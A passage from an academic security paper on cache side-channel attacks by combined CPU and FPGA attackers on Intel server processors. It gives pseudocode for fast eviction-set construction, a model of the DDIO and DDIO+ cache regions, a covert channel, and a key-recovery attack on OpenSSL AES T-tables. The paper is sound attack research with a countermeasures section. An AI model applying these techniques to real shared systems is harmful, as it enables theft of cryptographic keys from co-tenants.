L2 caches (cf. Figure 4d). We find this novel technique to be
accurate and simple to move a target line to the LLC. However,
note that this primitive is limited to attacker-readable lines.

Specifically for the combined attacker, there is yet another
primitive available (cf. Figure 4e). The secondary device
writes the line, which moves it to the LLC. Now dirty, the line
is invalidated from all other caches to maintain coherence.
Note that this primitive is limited to attacker-writable lines.

1Since L2 is inclusive w.r.t. L1, for our purposes they can be consolidated.
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(a) L2 Contention: L2→ LLC (b) CD Contention: L2→ LLC (c) CPU Write: LLC→ L2

(d) Shared Access: L2→ LLC (e) Secondary Write: L2→ LLC (f) CPU Read: LLC→L2 (or→L2&LLC)

Figure 4: Techniques for combined attackers to manipulate the cache hierarchy.

LLC to L2. A line can be moved from the LLC to L2 by
read or write requests from CPU cores. Lines that are written
(Figure 4c) move from the LLC to L2, invalidating the LLC line
for coherence purposes [67]. If the line is read (Figure 4f), we
find that lines that only exist in the LLC (e.g., in modified or
exclusive state) move back to L2 and are invalidated in the LLC.
In contrast, lines present in multiple caches (e.g., in shared or
forward state) are copied to L2, i.e., they remain allocated in
the LLC. As these observations are partially inconsistent with
prior work [66, 67], we share our rationale in Appendix B.

Replacement policies prefer to install incoming lines in
empty ways (if present) to avoid unnecessary eviction of
useful lines. Some primitives are able to produce empty ways
by invalidation. We refer to these ways as magnet ways.

Finding #3: Precise manipulation of cache hierarchy.
Combined attackers can accurately migrate lines between
cache levels, and invalidate them from selected caches.

4 Fast Eviction Set Finding using DDIO

The eviction set construction problem is the following: given
a target cache line, find EV congruent lines in the designated
cache (of associativity W ). We review existing algorithms for
the LLC, and expose a new method for combined attackers,
enabled by limitations of secondary devices (#1, #2).

4.1 Reduction Algorithms

Figure 5 depicts the structure of traditional eviction set con-
struction algorithms. First, an initial set of candidate addresses
is constructed [33], for which the size depends on attacker
control over physical address bits [60]. Then, it is reduced to

Figure 5: Traditional reduction-based algorithms

a minimal eviction set, i.e., a set, typically of size EV ≥W ,
that no longer contains any non-congruent addresses.

The reduction is an iterative procedure based on a congru-
ence test that removes a portion of the current set and tests
whether the remainder still evicts the target. If so, the portion
is not necessary for eviction and can be discarded. Initial al-
gorithms for inclusive caches [21,33,40] remove one element
at a time, leading to quadratic complexity in the initial set
size. Vila et al. [60] propose to perform the congruence test
on groups of addresses instead, achieving linear complexity.

Yan et al. [66] develop a reduction algorithm for non-
inclusive Intel LLCs with a custom congruence test (cf. Sec-
tion 2.4). Their algorithm has quadratic complexity, but may
be amenable to similar improvements [60]. However, it ap-
pears to need several eviction and measurement iterations to
cope with the complications of non-inclusive caches.

4.2 Acceleration with Discover-Expand

Secondary devices generally perceive a smaller LLC associa-
tivity (#1), with D=2 by default. As a result, D+1 congruent
addresses are sufficient to manifest contention. In addition,
the non-destructive reads (#2) enable a congruence test that
determines whether a single address is congruent with a target,
instead of whether a pool of addresses contains some that are
congruent. These properties lead to an effective search algo-
rithm, based on expansion rather than reduction (cf. Figure 6).
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Figure 6: Expanding eviction set construction. For D= 2,
Discover only needs to find a single congruent address.

The algorithm takes as input a target address (TARGET), de-
sired eviction set size (EV), and stride representing attacker-
controllable address bits (STRIDE). The output is an eviction
set, i.e., EV addresses that are mapped to the same LLC set and
slice as TARGET. The algorithm does not build an initial set,
and comprises two phases: Discover obtains the first D−1
congruent addresses, and Expand completes the eviction set.

Algorithm 1 Eviction Set Construction: Discover finds the
first D−1 congruent addresses, Expand finds the others

Di
sc
ov
er

Ex
pa
nd

a new address from
search space with
STRIDE

DISCOVER_FOUND:
addresses found
in Discover,
es[0,1,.,D-2]

Input: TARGET: an address for the eviction set, EV: desired eviction
set size, STRIDE: indicates attacker-controlled bits
Output: es eviction set

1: es[]← empty list
2: do
3: secondary_write(TARGET)
4: secondary_write(es[0,1,.,len(es)-1])
5: do
6: TEST_ADDRESS← new candidate
7: secondary_write(TEST_ADDRESS)
8: while secondary_read(TARGET) is fast
9: append TEST_ADDRESS to es

10: while len(es) < D-1
11: do
12: secondary_write(TARGET)
13: secondary_write(es[0,1,.,D-2])
14: do
15: TEST_ADDRESS← new candidate
16: secondary_write(TEST_ADDRESS)
17: while secondary_read(TARGET) is fast
18: append TEST_ADDRESS to es
19: while len(es) < EV

4.2.1 Discover: Finding the First D−1 Addresses

First, the Discover phase writes TARGET, installing it in the
LLC’s DDIO ways. Then, it iteratively writes a new candi-
date address and afterwards measures the access latency of
TARGET. If the latter has been evicted (from LLC to RAM), the
candidate is determined to be congruent with it.

As the DDIO associativity is D, it is expected that D−1
congruent test addresses are overlooked for every congruent
candidate that is actually added to the eviction set. However,
as soon as D−1 elements have been found (a set denoted
as DISCOVER_FOUND), the Discover phase can terminate in
favor of the more efficient Expand phase.

4.2.2 Expand: Finding More Addresses

The Expand phase writes TARGET and DISCOVER_FOUND to
occupy all D DDIO ways. Then, similar to Discover, new
candidates are written, each time measuring the access latency
of TARGET to determine whether the candidate is congruent.
This step is repeated to obtain the full eviction set.

4.2.3 Algorithmic Complexity

The stride of the search depends on control over physical
address bits (cf. Section 2.5) and the number of LLC/CD slices
(cf. Section 2.2). As the slice mapping is unknown, candidates
can, at best, be selected based on their LLC set index bits.

Our test LLCs have 2048 sets with 8 or 28 slices (SLICES).
Huge pages allow to configure all set index bits, so the congru-
ence probability for candidate addresses is SLICES−1, assum-
ing lines are distributed among slices uniformly at random.

The congruence probability directly relates to the expected
number of candidates to test in the Expand phase. In the
Discover phase, however, the first D−1 congruent candidates
may be missed. In first order, the expected number of candi-
dates to test is (D−1) · [D ·SLICES]+(W−D+1) · [SLICES].
Section 8.1 evaluates accuracy and speed in practice.

Algorithm 2 Verification algorithm to check congruence

TARGET and CANDIDATE
are interchanged in
consecutive runs

Input: TARGET, DISCOVER_FOUND, CANDIDATE
Output: boolean: are the inputs congruent?

1: secondary_write(TARGET);
2: secondary_write(DISCOVER_FOUND);
3: secondary_write(CANDIDATE);
4: return true if secondary_read(TARGET) is fast

4.2.4 Low-level Aspects

Replacement Policy. The simplified algorithm assumes LRU
replacement. However, we find that repeated writes influ-
ence the eviction candidate (cf. Appendix C). To ensure that
TARGET is the eviction candidate, the accelerator performs
the secondary_write on lines 4/13 of Algorithm 1 twice.
Verification. To increase robustness against false positive
errors (e.g., due to noise), Algorithm 2 optionally performs ad-
ditional checks. It is called with TARGET, DISCOVER_FOUND
and the address to be tested, and performs two permuted veri-
fication tests. This way, a false positive candidate will only
pass if there is noise in two different cache sets.

As the verification needs D+1 addresses (including
TARGET), the accuracy of the DISCOVER_FOUND set itself
is confirmed together with the first address of the Expand
phase. If it fails, both addresses are discarded and Discover
is restarted. As soon as DISCOVER_FOUND is verified, all
subsequent addresses can be verified in isolation. To increase
confidence, multiple verification repetitions can be performed.
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Table 5: Access sequences to cache line L to prepare its state,
with the resulting cache level for L, whether L is modified,
and whether a secondary write allocates L to the DDIO region

Access Sequence Level Modified DDIO

1 sw_flush(L) RAM 3
2 sw_write(L) L2 3
3 sw_flush(L); sw_read(L) L2 3
4 hw_write(L); sw_read(L) L2 3

(sw_* and hw_* denote actions by CPU and secondary device, resp.)

Write Limitation. The routine requires write access to
TARGET. However, an LLC-congruent address to the intended
target can be used as input to the algorithm (cf. Section 8.3).

5 Structure of the LLC Set

This section revisits the interaction between DDIO devices
and the LLC (#1). Secondary writes to uncached lines are
known to allocate in the LLC, specifically to one of the DDIO
ways [10, 27, 62]. It is worth investigating whether this behav-
ior holds for lines that are already cached, e.g., in L2. Contrary
to expectation, it appears to depend on the state of the line.
Another Region in the LLC Set. Consider a test set of N
LLC-congruent addresses (N ≥ 2). To fix their cache level
and state, the elements of the test set first undergo the access
sequences ( 1 - 4 ) as given by Table 5. Then, they are written
by the secondary device. Finally, the secondary device counts
how many remain in the LLC (cf. Section 3.2.2). All read and
write operations are repeated to remove the influence of the
replacement policy, and we consider 10000 measurements.

For all access sequences, we observe that subsequent sec-
ondary writes allocate to the LLC, consistent with current un-
derstanding. However, consider what happens as we now ap-
ply contention to the DDIO region. This contention is achieved
with secondary writes to another uncached contention set (ac-
cess sequence 1 , which is known to lead to DDIO allocation).

For sequences 1 and 3 , no test lines remain after DDIO
contention (i.e., they were allocated to the DDIO region). How-
ever, for sequences 2 and 4 , both addresses remain in the
LLC (i.e., they must have been placed elsewhere). In con-
clusion, cache lines in specific states are secondary write-
allocated to the LLC, but outside of the DDIO region.

In the remainder of this work, we refer to this unknown
region as the DDIO+ region. We can only speculate on the
condition to be placed in this region, but we observe modified
lines to be assigned to it (e.g., sequences 2 and 4 ). The
rationale for this behavior is not immediately obvious and we
assume it to be an undocumented performance optimization.
Associativity. We now infer the structure of the LLC set, start-
ing with the associativity of the DDIO and DDIO+ subregions.

For the DDIO region, the secondary device writes N congru-
ent addresses and counts how many remain in the LLC. The

associativity is the largest N for which none are consistently
evicted. As expected, we observe an associativity of D.

For the DDIO+ region, we perform a similar experiment,
but with access sequence 4 preceding the secondary write.
We observe a DDIO+ associativity of 2, irrespective of D.

The LLC set. To learn which ways belong to the DDIO/DDIO+

region on the Xeon Silver, we extend the mapping technique
of Farshin et al. [10]. In particular, it uses Intel CAT [19] to
let a software process evict specific LLC ways as specified by
a bitmask. The correlation between the bitmask and evictions
of DDIO/DDIO+ lines reveals the composition of these regions.

For the DDIO region, we use a CAT mask that spans D ways,
i.e., the DDIO associativity. First, the secondary device writes
D test lines. Then, software generates contention in the ways
specified by the mask. Finally, the secondary device counts
the test lines in the LLC. The mask corresponding to the D
leftmost ways results in all test lines being evicted; shifting it
one to the right evicts D−1 lines, etc. No lines are evicted if
the mask does not overlap with any of the D leftmost ways.

For the DDIO+ region, we use a similar methodology with
a 2-way CAT mask. Access sequence 4 is used to produce
lines in the DDIO+ state. The CAT mask corresponding to the
2 rightmost ways results in both DDIO+ lines being evicted.

LLC Model. Figure 7 summarizes the inferred LLC structure
for our local platform (Xeon Silver). CPU memory traffic
allocates to all ways in the set. Secondary devices only write-
allocate to the DDIO or DDIO+ regions (depending on the state
of the written line). The DDIO region is contiguous and has
associativity D, growing from the most-significant ways. The
DDIO+ region is contiguous and has associativity 2, and covers
the least-significant ways. In the event that the DDIO and
DDIO+ regions overlap (i.e., for D≥ 10), the least-significant
ways accommodate both lines in the DDIO and DDIO+ state.

D = 2D = 2D = 2D = 2D = 2 10 9 8 7 6 5 4 3 2 1 0
D = 3 10 9 8 7 6 5 4 3 2 1 0
D = 4 10 9 8 7 6 5 4 3 2 1 0
D = 5 10 9 8 7 6 5 4 3 2 1 0
D = 6 10 9 8 7 6 5 4 3 2 1 0
D = 7 10 9 8 7 6 5 4 3 2 1 0
D = 8 10 9 8 7 6 5 4 3 2 1 0
D = 9 10 9 8 7 6 5 4 3 2 1 0
D= 10 10 9 8 7 6 5 4 3 2 1 0
D= 11 10 9 8 7 6 5 4 3 2 1 0

DDIO+DDIO

Figure 7: Model of the LLC set (Xeon Platinum Silver 4208)

Finding #1 (rev.): Spatially limited LLC interaction.
Another portion of the LLC set is malleable by secondary
devices. This region (DDIO+) has associativity two.

3654    31st USENIX Security Symposium USENIX Association



6 Revisiting Cache Eviction

With magnet ways (#3), this section challenges the concept
of minimal eviction sets through efficient eviction with fewer
elements than the cache associativity (#1). First, as a stepping
stone of independent interest, we evict shared lines from a
victim’s private caches without directory contention. For sim-
plicity, we consider the default DDIO configuration (D = 2).

6.1 Eviction without Coherence Directory
Algorithm 3 evicts a shared line from remote victim caches
with the shared access method. First, the attacker prepares
the target in L2, and waits. If the victim accesses the target, it
resides in attacker and victim L2, and the LLC (cf. Figure 4d).
Second, the attacker evicts it from the LLC which, if it was
indeed there, invalidates the copies in all L1/L2 caches. Other-
wise, the target remains in the attacker’s L2. This invalidation
is not strictly required for non-inclusive LLCs, but happens in
practice [67]. LLC eviction (line 3) is implemented by access-
ing W lines with threads on different cores (Figure 4d).

Algorithm 3 Eviction without Coherence Directory (CD)

L2V L2A LLC L2V L2A LLC
T T

T T T T

T

On the right, the LLC and L2 states of victim (L2V ) and attacker
(L2A) are shown for each operation on the target address (T).

1: att_CpuRead
2: vic_CpuRead ? 3 (access) 7 (no access)

3: att_CpuEvict_LLC
4: att_CpuTime RAM L2

Algorithm 3 can also be inverted, making it slightly more
complex (details in Appendix D). Surprisingly, the inverted
version can evict lines from L2 caches in remote sockets.

6.2 Reduced Eviction
Combined attackers can produce magnet ways, i.e., empty
ways to attract incoming lines (cf. Section 3.2.3). Assuming a
magnet way in the DDIO region, a combined attacker can evict
a target line from a victim cache by, first, triggering its LLC al-
location (where the magnet will attract it) and second, evicting
it from the DDIO region with only two congruent addresses.
Without magnet ways, the target may be installed anywhere
in the LLC set, and W addresses are needed to reliably evict it.
Algorithm 4 shows how to produce and exploit DDIO magnet
ways using a tiny eviction set of four addresses (0-3). Strictly
speaking, two congruent lines suffice. However, to make evic-
tion repeatable, we suffer from DDIO+ behavior and rely on
our model LLC structure to overcome it (cf. Section 5).

First, the secondary device writes lines 0-1, followed by
CPU writes. Afterwards, the secondary device writes them
again, while the CPU reads the target line. This terminates

Algorithm 4 Eviction with Reduced Eviction Set

L2 LLC
1 0

1 0 M M

M M1 0

T M M1 0

M T1 0 T M M1 0

3 21 0 T 3 21 0

3 2 T M M1 0 3 2 T M M1 0

T M M3 2 T M M3 2

On the right, the attacker’s L2 and LLC (with DDIO+ and DDIO ) are
shown, with lines 0-3, LLC magnet ways (M), and target (T) .
Prepare:

1: att_SecWr (0,1)
2: att_CpuWr (0,1)
3: att_SecWr (0,1)
4: att_CpuRd (T)

Wait:
5: ? vic_CpuRd (T) 3 (access) 7 (no access)

Measure & Reinstate:
6: att_SecWr (2,3)
7: att_CpuTime (T) RAM L2
8: att_CpuWr (2,3)
9: att_SecWr (2,3)

Reiterate from line 5, swapping the roles of 0-1 and 2-3.

the preparation phase, with the target in the attacker’s L2, two
magnet ways in the DDIO region, and lines 0-1 in DDIO+.

Then, the attacker waits. If the victim accesses TARGET,
it moves to the LLC DDIO region, attracted by the magnet
ways. Afterwards, secondary writes to 2-3 evict the DDIO
region (0-1 cannot serve this purpose, as they are modified
and allocate to DDIO+ instead). A CPU timing measurement
of TARGET reveals it to reside either in L2 (no victim access)
or in RAM (victim access). Finally, 2-3 are written by the
CPU and the secondary device, recreating the magnet ways
in the DDIO region and placing 2-3 in DDIO+ instead of 0-1.
The next iteration can now start, and 0-1 swap roles with 2-3.

The reduced eviction can also be inverted, making it work
across CPU sockets on our platforms (cf. Appendix D).

7 Implementation

We work with the FPGA-accelerated cloud platforms of Sec-
tion 2.6 and implement a hardware (HW) module to demon-
strate our findings. This section explains its functionality.
Read-Write Primitives. As we work with Intel FPGAs, we
use Open Programmable Acceleration Engine (OPAE) to inte-
grate FPGA acceleration into software applications. OPAE di-
vides the FPGA’s programmable fabric into two parts; a blue-
bitstream pre-programmed by Intel, and a green-bitstream
that implements the user’s hardware accelerators. The blue-
bitstream acts as a bridge between accelerators and software,
and provides them with Direct Memory Access (DMA).

DMA and a timing source are essential components for
cache-timing experiments. With OPAE, a DMA operation
consists of two transactions; one for asserting memory read
and write requests, and another to monitor the completion of
this request. To measure latency, we create a counter-based
timing source on the FPGA, similar to Weissman et al. [62].
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(b) The effect of D (on X axis) on the performance and accuracy.

Figure 8: Performance of HW-accelerated eviction set construction on our Xeon Silver setup (EV=W , avg. of 1000 runs).

It counts the cycles that expire between requests and replies
(at 400 MHz), allowing to distinguish the memory level that
serves the request (L2, LLC or RAM), as given in Appendix A.
The FPGA counter is not synchronized to the CPU counter.

The hardware design also features a set of software-
configurable registers to instruct the actions of the accelerator,
e.g., to perform a timed read or write at a given address. More
sophisticated instructions are described next.
Fast Eviction Set Finding. We extend the hardware mod-
ule with an advanced state machine that implements the fast
eviction-set finding algorithm introduced in Algorithm 1.

The algorithm is fully encapsulated in hardware and pro-
ceeds without additional interaction. Moreover, a few settings
are exposed to users. Essential settings are the target for which
to find the eviction set, the desired size, the number of veri-
fication repetitions, and the timing threshold (LLC vs. RAM
accesses). The delay between consecutive memory operations
can also be configured to ensure their in-order execution.
Access Sequences. The hardware module supports encapsu-
lating commonly used sequences of read and write operations
to reduce HW-SW interaction overhead, e.g., for fast reduced
eviction (cf. Section 6.2). Again, the configuration of these
sequences happens with software-accessible registers.

8 Evaluation and Discussion

This section evaluates three applications of our accelerator,
demonstrating: (1) the speed and accuracy of eviction set
construction, (2) a covert channel encoding information in the
number of evicted lines, and (3) reduced eviction in practice.

8.1 HW-Accelerated Eviction Set Finding
8.1.1 Performance

Figure 8 presents the performance and accuracy of hardware-
accelerated eviction set construction, measured on our local

Xeon Silver platform (8 slices, cf. Section 2.6). We consider
sets of size EV=W =11, and conduct the measurements on
both idle and noisy systems. For the latter, we use stress to
emulate moderate and high noise, resp. with -m 1 and 8.

We report end-to-end execution time, i.e., we do not ex-
clude any preparation steps or interactions with hardware. The
existence of even a single false positive in the set classifies
it as failed, even if the remainder of the set is correct. The
candidate verification (cf. Algorithm 2) significantly reduces
such false positives at the cost of slightly increased runtime.

Hardware-accelerated eviction set construction is very ef-
fective. On our local platform, the accelerator can find an
LLC/CD eviction set in around 120µs on idle systems, or
200µs under stress. For the default DDIO configuration, the
throughput of one accelerator (in EVS/s, eviction sets per sec-
ond) reaches more than 8000EVS/s for noise-free systems,
and around 5000EVS/s for very high noise. Such speeds
allow to map out the entire 11 MB LLC in ≈ 2s. For re-
duced eviction sets (EV=4), the average throughput is around
16kEVS/s. On the ACE platforms, the accelerator is roughly
3 times slower, since the slice count increases from 8 to 28.

Influence of D. For non-default DDIO configurations (i.e.,
D> 2), the performance of eviction set construction decreases
with D. As D grows, the associativity perceived by the ac-
celerator increases (#1), which increases the relative weight
of the Discover phase. Especially for high noise pressure,
this impacts the performance for two main reasons (cf. Sec-
tion 4.2.3). First, during discovery, more guesses are required
to detect a congruence, as detection may only occur for every
D−1 congruent guesses. Second, false positives have adverse
effects, as all DISCOVER_FOUND are discarded upon a failed
verification test, in contrast to just a single discarded address
during Expand. All in all, our eviction set construction is still
accurate and faster than related work. Moreover, D = 2 is the
default configuration. To our knowledge, no benchmarking
tools exist to help users decide when to change it.
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8.1.2 Comparison

Expansion-based Methods. As covered in Section 4.2,
expansion-based methods work well when the congruence test
is non-disturbing. To our knowledge, the only other expansion-
based method2 is our work on PRIME+SCOPE [47], which
obtains a repeatable congruence test by exploiting the proper-
ties of lines that are cached in multiple levels simultaneously.

Although the algorithm based on PRIME+SCOPE bears
a similar structure to Algorithm 1, it differs in several im-
portant aspects. First, it is concerned with a different threat
model. Second, the non-destructive measurement relies on
fundamentally different properties. Third, the PRIME+SCOPE
version for non-inclusive Intel LLCs needs to orchestrate two
attacker threads on different cores to allocate in the LLC (cf.
Figure 4d). Finally, CPU-based attackers perceive the full
LLC associativity, in contrast to the accelerator (e.g., D=2).
Reduction-based Methods. For reference, we also compare
the accelerator to reduction-based methods. Yan et al. [66]
proposed the state-of-the-art reduction algorithm for non-
inclusive caches. As their code is not available, we are un-
able to fairly compare to them. Moreover, their work may be
amenable to similar optimizations as those shown for inclu-
sive caches [60]. To have a meaningful data point for compar-
ison, we compare with the highly optimized implementations
for inclusive caches by Vila et al. [60]. Arguably, this serves
as an upper bound for performance in non-inclusive caches,
because of the obstacles identified in prior work [66]. On the
other hand, our accelerator is agnostic to LLC inclusion, so we
expect it to apply to inclusive LLCs with similar performance.
Results. Like the accelerator, we measure the performance
of the PRIME+SCOPE [47] code on the local Xeon Silver
platform. For the Vila et al. [60] code, we match their CPU and
configuration. Importantly, the number of slices is the same
for both platforms under consideration (cf. Section 4.2.3).

As Table 6 shows, our HW accelerator achieves good end-
to-end performance. Compared to the algorithm based on
PRIME+SCOPE (P+S), it is another order of magnitude faster.
Depending on the noise level, it is between two and three
orders of magnitude faster than reduction-based methods, at
the cost of a small decrease in accuracy.

Note, however, that the threat model for the hardware accel-
erator is different. It assumes a secondary device but no code
execution, whereas CPU-only methods assume code execu-
tion (native or otherwise [40, 60]) but no secondary device.

8.1.3 Robustness, Simplicity and Stealth

Robustness. The accelerator maintains good performance
for high noise (cf. Figure 8), with several contributing factors.
The timing source is a noise-free HW counter, and interfer-
ence with other processes is limited to the DDIO region. The

2One exception is PRIME+PRUNE+PROBE [46], which applies to a new
class of randomized protected caches that are not in use today.

Table 6: End-to-end performance (1000 runs) of our accelera-
tor compared to PRIME+SCOPE [47] on our local setup, and
optimized reduction-based algorithms [60].

Impl. CPU & Stress Error Rate Exec. Time
Cache Level (%) (msec)

Ours∗ Skylake-SP
Xeon Slv. 4208

11-way LLC
Non-Inclusive

no 0.0 0.17
-m 1 0.5 0.17
-m 8 3.5 0.17

P+S
[47]

no 0.0 1.11
-m 1 0.0 1.24
-m 8 0.3 3.56

[60]†
Skylake

Core i5-6500
12-way LLC

Inclusive

no 0.0 19
-m 1 0.0 35
-m 3 0.0 206

∗ for the default DDIO configuration with D = 2.
† with initial set size 120, while other works do not use an initial set.

algorithm itself is also robust. False-negative errors only in-
crease the execution time, and most false-positive errors are
detected by Algorithm 2. Provided that the Discover phase is
successful, remaining false positives do not affect the other ad-
dresses in the Expand phase, as every address is individually
tested for congruence. In contrast, reduction algorithms may
have to implement backtracking [60] to avoid getting stuck,
as false positives trigger the removal of congruent addresses.
Simplicity. Fully described by a few lines of pseudocode, the
accelerator is simple to understand. It does not use hierarchy-
specific techniques, e.g., directory contention or helper evic-
tion sets [66]. The accelerator interacts with a D-way set-
associative view of the LLC which, at least for small D, is a
great simplification. Furthermore, it is oblivious to associa-
tivity, replacement policy and noise in low-level caches. The
same FPGA bitstream is used on all our test platforms.
Stealth. Due to its speed, eviction set construction is hard to
detect at runtime. Moreover, the timing source is implemented
on the FPGA fabric, so accesses to it are invisible to the CPU
or blue-bitstream. Finally, it is essentially a state machine,
requesting read and write operations to the blue-bitstream
and timing them. Its resource utilization is very low, making
it a hard-to-notice attachment. Appendix F covers detailed
utilization numbers for the accelerator, showing that it barely
increases compared to Intel’s Hello World baseline.

8.2 Amplitude-Based Covert Channel

We implement a covert channel between combined attackers,
demonstrating the precise control over the cache hierarchy
with only a few congruent addresses. It transfers information
by manipulating DDIO (D= 2) and DDIO+ ways simultane-
ously and independently. Moreover, due to non-perturbing
reads (#2), it reliably encodes amplitude information in the
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Table 7: Covert channel with prime (PR), transmit (TX) and
probe (PB). Symbols are always transferred over DDIO, and
optionally over DDIO+ (optional operations underlined). Par-
ties use their own eviction sets, resp. A,B,· · · and 1,2,· · ·

PR: Receiver puts A,B
into DDIO, and C,D into
DDIO+.

TX: Sender may replace
A,B,C,D with 1,2,3,4.

PB: Receiver checks if
A,B are still in DDIO,
and C,D in DDIO+.

Receiver Sender

PR
CpuWr(C,D) CpuWr(3,4)
SecWr(C,D)
SecWr(A,B)

TX
SecWr(3/4)
SecWr(1/2)

PB
SecTime(C,D)
SecTime(A,B)

signal (i.e., the number of evicted ways), which performs
poorly for traditional attackers due to self-eviction [37]. It
does not use shared memory; the parties use their own eviction
sets (agreed upon in advance, e.g., using HW-acceleration).

Table 7 shows two versions; one over the DDIO region,
and one that combines DDIO/DDIO+ regions. Both consist of
three stages. First, the receiver primes (PR) the DDIO lines (if
applicable also in DDIO+). Second, the sender transmits (TX)
a symbol by overwriting zero, one or two of the receiver’s
DDIO (and DDIO+) lines. Third, the receiver probes (PB) its
lines to determine how many have been evicted.

The DDIO channel encodes a ternary symbol, i.e., log2 3=
1.58-bits per cache set. For transferring 512 packets of 256
symbols, we achieve 264 Kbps bandwidth (BW) with 2.26 %
Symbol Error Rate (SER). The DDIO/DDIO+ channel encodes
two ternary symbols, i.e., log2(3 ·3) = 3.17 bits per cache
set. In this case, the BW is slightly lower at 211 Kbps with
2.20 %SER, because of extra interfacing with hardware.

Comparison. We use a shared timestamp counter to synchro-
nize transmitter and receiver, as well as a known preamble.
Our implementation is open to optimizations, e.g., common
engineering practices like synchronization or error correction,
or transmission over multiple sets.

Although the covert channel only serves to illustrate the
fine-grained spatial capabilities of combined attackers, we
briefly compare it with closely related implementations.
Weissman et al. [62] build a covert channel from FPGA to
CPU. It achieves 95 Kbps and, like ours, can be improved. Yan
et al. [66] establish a cross-core channel using CD contention
on a non-inclusive LLC, and achieve 0.2 Mbps. To our knowl-
edge, the fastest cross-core covert channels with unshared
memory achieve 2–4 Mbps [42, 45, 47]. Ours is an order of
magnitude slower, mostly because of hardware interfacing
overhead, but is open to improvements.

Table 8: Eviction patterns for shared lines, their eviction set
size, eviction rate, number of accesses and attacker model

Pattern EV Ev. Rate Accesses VCC VCS A

CD-11-9 [66] 11 ≈ 25% 216 3 ASTD

CD-13-9 [66] 13 ≈ 95% 234 3 ASTD

CD-14-9 [66] 14 ≈100% 252 3 ASTD

L2-16-9/LLC-11 [66] 16+11 ≈100% 144+22 3 ASTD

No CD (Alg. 3) 11 ≈100% 22 3 3 ASTD

Reduced (Alg. 4) 4 ≈100% 6 3 3 ACMB

8.3 Reduced Eviction

Eviction Rate. Table 8 compares the eviction rates of our
new patterns with those reported by Yan et al. [66] for shared
lines. For all patterns, the goal is to evict a shared line, cur-
rently in another core’s L2, from the hierarchy. We achieve a
near-perfect eviction rate, with fewer accesses and the bonus
of working across sockets (cf. Appendix D). Our CD-less evic-
tion (Algorithm 3) implements LLC eviction with two threads
each writing EV=11 addresses once, generating direct LLC
contention. The reduced eviction implements Algorithm 4.

Yan et al. observe that using unshared lines to evict shared
lines from remote L2 caches through the CD has unsatisfactory
results. To overcome this, they use shared lines, instantiating
two threads that repeatedly access a CD eviction set; e.g.,
two threads iterating 9 times over a set of size EV=13 (CD-
13-9 in Table 8) yield an eviction rate of ≈ 95% and 234
accesses. They also propose a pattern with contention on L2
(EV=16) and CD (EV=11) simultaneously, and attribute its
success to bypassing the CD replacement policy. Our work
suggests that the underlying mechanism is actually an instance
of Algorithm 3; replacing shared access (Figure 4d) with L2
contention (Figure 4a) to transfer the line to LLC. Hence, what
appeared to be CD contention is actually LLC contention.
End-to-end Example: AES. We demonstrate the feasibility
of reduced and cross-socket eviction with the OpenSSL 1.0.1e
AES T-Tables implementation, a now-standard target for side-
channel research. We do not claim algorithmic improvements
and simply refer to the illustrative synchronous first-round
attack [41, 56] to show the feasibility of our techniques (cf.
Appendix E for attack details). In short, the attacker evicts the
cache lines containing the T-Tables, triggers encryptions with
known plaintext bytes, and monitors access patterns to the
tables. Through statistical differences between table accesses,
the attacker learns the upper half of every secret key byte.

We use the hardware accelerator to construct eviction sets
and assume the victim binary to reside in small read-only
pages. To showcase reduced eviction, we early-abort the ac-
celerator for EV=4. To overcome the writing limitation, we
construct the eviction sets indirectly for addresses with the
same small page offset, and then test whether they contend
with the tables in the LLC/CD. This test can work with sev-
eral mechanisms (cf. Figure 4). We select Algorithm 4 for its
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speed and reliability. To construct all necessary sets on the
Xeon Platinum 8180 (ACE1, 28 slices), we observe a median
runtime of 194 ms and perfect accuracy over 100 runs.
Limitations. For reduced eviction, if both magnet ways are
occupied before TARGET is installed, e.g., due to noise, the
target ends up outside of the DDIO region. Though this rarely
happens on our setup, normal behavior can be reinstated by
evicting the full set once. For cross-socket reduced eviction,
the target can become stuck in the victim socket if the victim
reads it while still in the attacker socket’s LLC.
Results. In the absence of noise, reduced eviction consis-
tently reveals the subkeys within 300 traces, both in same- and
cross-socket attacks (cf. Appendix E). However, robustness
in the latter case is significantly lower, and we recommend
using an eviction set with full associativity (cf. Algorithm 5).

9 Related Work

9.1 Cache-based Side Channel Attacks

Table 9: Non-inclusive Cache Attacks (Shared Memory)

Contribution Flushless Cross-Socket Single-Thread Reduced Eviction

Lipp [30] 3 7 3 7
Irazoqui [22] 7 3 3 7

Yan (F+R) [66] 7 7 3 7
Yan (E+R) [66] 3 7 7 7

Ours (ASTD) 3 3 3 7
Ours (ACMB) 3 3 7 3

Non-inclusive Cache Attacks. Lipp et al. [30] mount
FLUSH+RELOAD and EVICT+RELOAD on small non-
inclusive ARM caches. Irazoqui et al. [22] illustrate that
FLUSH+RELOAD applies to all caches in the same coher-
ence domain, even across sockets. These attacks bypass non-
inclusive LLCs by relying on self-eviction [30], or using
clflush [22]. Yan et al. [66], in contrast, propose a multi-
threaded EVICT+RELOAD to reliably evict the shared target
(cf. Section 8.3). We show an EVICT+RELOAD without CD
manipulation (ASTD), and one with four addresses (ACMB), re-
futing that eviction sets must cover the full cache associativity.
Table 9 positions our work within this subset of related work.

In the absence of shared memory, the attacker can mount
PRIME+PROBE [66] or PRIME+SCOPE [47] on the coherence
directory, leveraging our eviction set construction.
Cross-CPU. Yao et al. [68, 69] present a flushless cross-
socket covert channel based on non-uniform memory access
and cache coherence. They rely on a cooperating transmit-
ter to evict the target (i.e., covert channel). Our cross-socket
channel does not have this requirement, showing that shared
memory is a security risk even when clflush is disabled and
the victim is the only tenant on a CPU socket. A noteworthy
non-cache cross-socket side-channel attack is DRAMA [45].

Secondary devices. Frigo et al. [11] accelerate microarchi-
tectural attacks with the GPU, which is also connected to the
cache hierarchy (though differently than DDIO devices). Their
focus is Rowhammer-based fault injection [24, 39, 53, 58].

Weissman et al. [62] instantiate the secondary device as an
FPGA. They leverage non-destructive reads (#2) to accelerate
Rowhammer, and study cache attacks from CPU to FPGA and
vice-versa. However, the statically constrained DDIO region
provides challenges for FPGA-based attacks.

Kurth et al. [27] also construct eviction sets with a sec-
ondary device, i.e., a NIC. Their network-based threat model
faces more challenges: it takes about five minutes to produce
64 eviction sets over the network. However, since properties
#1 and #2 hold, our eviction set algorithm may accelerate it.

Taram et al. [55] describe a CPU process that infers network
memory access patterns by the NIC (based on DDIO).

9.2 Countermeasures
Constant-time programming successfully thwarts the com-
bined attacker explored in this paper, as it removes vulnerable
code patterns. It is now common practice to harden crypto-
graphic implementations, and several techniques have been
proposed, e.g., [1, 8, 28, 49, 64]. However, access patterns
can reveal other secrets, such as user input [13, 50], browsing
